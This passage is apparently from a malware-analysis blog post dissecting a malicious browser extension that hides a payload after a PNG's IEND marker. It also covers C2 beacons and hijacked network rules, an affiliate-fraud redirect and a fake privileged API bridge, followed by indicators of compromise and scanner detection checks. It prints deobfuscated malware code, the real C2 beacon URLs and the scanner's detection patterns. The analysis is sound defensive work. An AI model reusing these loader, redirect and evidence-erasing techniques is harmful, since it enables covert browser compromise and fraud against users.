"extftsams99ba" pageArr.documentValues.get(lineSize, function(contentPool) { var documentValues = contentPool[lineSize]; if (documentValues) { // Double atob decode of two ^ -delimited entries var dataExt = findDefaultVal(documentValues, "^")[0].reContentAll(1); var fileTip = findDefaultVal(documentValues, "^")[1].reContentAll(1); // reContentAll(1) = atob(atob(this)) β double base64 decode if (event$1.indexOf(getFileSize(dataExt)) > -1) { // URL matches pattern? var image$1 = pageArr.rdnDataPro("a"); image$1.setAttribute("href", fileTip); // target URL from C2 eventCode.appendChild(image$1); image$1.click(); // SILENT AUTO-REDIRECT setSelecteds(lineSize, ""); // destroy evidence } } }); pageArr.signArray.parent.postMessage(pageArr.buffer$1[27], '*'); // "ifr2top" } The redirect: Works in iframes, as well as main frames The match pattern and target URL are double-base64-encoded in localStorage, hiding them from casual inspection Evidence is erased immediately after execution ( setSelecteds(lineSize, "") ) Works on any website due to the content script injection 12. Finding 10 β CSP Erasure getContentOn() checks for the presence of a Content Security Policy meta tag before injecting the fake chrome API bridge: var val = document.querySelector( pageArr.buffer$1[38] // 'meta[http-equiv^="Content-Security-Policy"]' ); if (val) return true; // abort if CSP is present This check serves two purposes: Avoid triggering CSP violations that would appear in the browser console and alert a sophisticated user Target only pages that do not have a CSP (which is the majority of web pages) Given that the DNR rules are C2-controlled, the attacker could alternatively push a rule that removes or rewrites CSP headers on target pages, selectively enabling the bridge injection on pages that would otherwise block it. 13. Complete Attack Chain INSTALL β ββ First sidebar open (index.js) β ββ fetch("icon/logo.png").text() β ββ split("ncige") β 1,897-byte stego payload β ββ localStorage["ncige"]["7yfuf2"] = β ββ Every page load (content.js injected into https://*/* and http://*/*) β ββ Reads localStorage["ncige"]["7yfuf2"] β ββ copyNodeTo() β low-byte decode β 39-entry buffer$1 string table β β β ββ HOURS < 72: log "waiting 3 days", return β SLEEPER β β β ββ HOURS β₯ 72 AND random(0..200) β€ 20 (10%) β β β ββ genFileArr(true) β β ββ GET https://ipaglov.com/ext/load.php?f=svr.png β β ββ Response: PNG wrapping JSON payload β β ββ Rules stored in localStorage["jruldyn"] (base64, XOR-encrypted) β β ββ Redirect rules stored in localStorage["extftsams99ba"] β β β ββ hasTokenAll("jruldyn") β β ββ atob(localStorage["jruldyn"]).replace(regex, "") β β ββ JSON.parse() β declarativeNetRequest rules array β β ββ chrome.runtime.sendMessage({dataExt: rules, ...}) β β ββ bg.js: updateDynamicRules() β C2 controls all network rules β β ββ Affiliate ID substitution on taobao.com / jd.com β β β ββ getContentOn() β ββ Check for CSP meta tag; abort if present β ββ lineSize(): install window.message bridge listener β ββ setTimeout("!selectedExt(...); " + C2_logCode, 1) β ββ Injects window["browserCache"] = fake chrome.* API into page context β ββ C2 JavaScript runs with extension-level privileges β on every website the victim visits β ββ Iframe-level redirect (content.js in all_frames) ββ localStorage["extftsams99ba"] set? β double-atob decode pattern + URL ββ Silent auto-click on ββ Evidence erased from storage 14. Indicators of Compromise Files icon/logo.png β 1,902 bytes appended past IEND marker (offset ~5,416), beginning with ASCII ncige localStorage keys (in extension storage) Key Purpose ncige Stego payload cache + install timestamp jruldyn Base64 + XOR encrypted DNR rules from C2 extftsams99ba Double-base64 encoded URL redirect rules 7yfuf2 Decoded stego config (buffer$1 array, semicolon-delimited) 3i1rfsciu Second C2 payload (URL redirect + logCode JS) window globals set by extension Global Value window.exdipmver 3 (activation sentinel) window["browserCache"] Fake privileged chrome.* API object Network indicators URL Purpose https://ipaglov.com/ext/load.php?f=svr.png Primary C2 beacon https://dreamhov.de/ext/load.php?f=svr.png Backup C2 beacon Extension metadata Field Value Extension ID 1efab3c2-06ac-4040-975d-e006baac07ce@ytmp4 Version 1.3.4 SHA-256 f4c493377c6065e039f547ab0da5bafdfb8eaffa524fd744c119fd2bb6cfef30 15. What browser-xpi-malware-scanner.py Catches and Why This extension was designed by a skilled author specifically to evade automated review. Here is how each browser-xpi-malware-scanner.py check contributed to the detection: check_png_appended() β The key finding The only place the entire payload exists in any detectable form is appended to the PNG. Every other malicious string is either runtime-decoded or stored only in localStorage after execution. Without checking raw bytes past the IEND marker, this extension passes every other static check cleanly. def check_png_appended(name, data, findings): idx = data.rfind(b"IEND") end = idx + 8 trailer = data[end:] if trailer: ent = shannon_entropy(trailer) sev = "CRITICAL" if len(trailer) > 64 else "HIGH" findings.append(Finding(sev, "PNG_APPENDED", name, f"{len(trailer)} bytes appended after PNG IEND (entropy={ent:.2f})")) check_javascript() β atob() detections The multiple atob() calls in content.js (lines 380, 719, 2364) flagged HIGH. While atob() is used legitimately, its presence in a content script injected into all URLs is suspicious. The double-decode atob(atob(this)) at line 719 is the specific form used for the URL redirect rules decode. SUSPICIOUS_URL_RE β C2 domain detection Although the C2 domains ( ipaglov.com , dreamhov.de ) were not found as plaintext in the JS files (they are only in the decoded stego payload), the beacon URL pattern template https://$1/ext/load.php?f=svr.png contains no domain. However, the check did flag the other exfiltration-adjacent domains: media.savetube.me / media.savetube.vip / cdn305.savetube.su / api.mp3youtube.cc The .su TLD ( cdn305.savetube.su ) is a particularly high-confidence IoC β .su (Soviet Union, defunct) is disproportionately used by criminal infrastructure. DANGEROUS_PERMS β permission analysis as a host permission rather than a regular permission (Manifest V3 split) was still caught: DANGEROUS_PERMS = { "": ("HIGH", "Access to ALL website content β can read/exfiltrate any page data"), "downloads": ("MEDIUM", "Can initiate and read downloads"), ... } What browser-xpi-malware-scanner.py could add to catch this class of malware PNG-as-text fetch detection β flag fetch(β¦).then(r => r.text()) where the URL resolves to an image resource declared in the extension. Legitimate image fetches use .blob() or .arrayBuffer() , never .text() . Split-on-arbitrary-string detection β someString.split(nonHttpNonCommonDelimiter) where the delimiter is a short word (in this case "ncige" ) is an unusual pattern worth flagging. Legitimate code splits on "/" , "." , "," , ";" etc. localStorage.set with class-name keys β if the key being written to storage matches a CSS class name in the extension's HTML, that is highly anomalous. Despite these gaps, the PNG_APPENDED detection alone is sufficient to designate this extension CRITICAL and warrant deep manual review β which is exactly the intended workflow for browser-xpi-malware-scanner.py. Need an Android Developer or a full-stack website developer? I specialize in Kotlin, Jetpack Compose, and Material Design 3. For websites, I use modern web technologies to create responsive and user-friendly experiences. Check out my portfolio or get in touch to discuss your project. View My Apps Hire Me malware-analysis browser-malware-analysis browser-xpi-malware-analysis firefox steganography png-stego c2-infrastructure javascript-obfuscation declarativeNetRequest affiliate-fraud privilige-escalation content-script webextension xpi-analyzer threat-analysis firefox-malware Related Articles LSB Steganography: Hiding Any Data in Images Summarizes the core concept of LSB steganography, mentions specific technical details (0.4% color change, 777 KB capacity for Full HD images), covers both security applications and malware threats, and highlights detection methods. Kotlin Flow: Mastering Asynchronous Data Streams - A Comprehensive Guide Dive deep into Kotlin Flow and master asynchronous data streams. This comprehensive guide covers everything from basics to advanced patterns including cold vs hot flows, operators, StateFlow, SharedFlow, exception handling, and real-world use cases with practical examples. Building EasyCrypt: A Secure File Encryption Tool with Nautilus and full GUI Integration - Complete Python Tutorial Learn how to build EasyCrypt, a production-ready file encryption tool using Python, Fernet encryption, password-based key derivation, and GNOME desktop integration. This comprehensive tutorial covers cryptographic foundations, dual CLI/GUI interfaces, secure file deletion, Nautilus extensions, and security best practices with complete source code.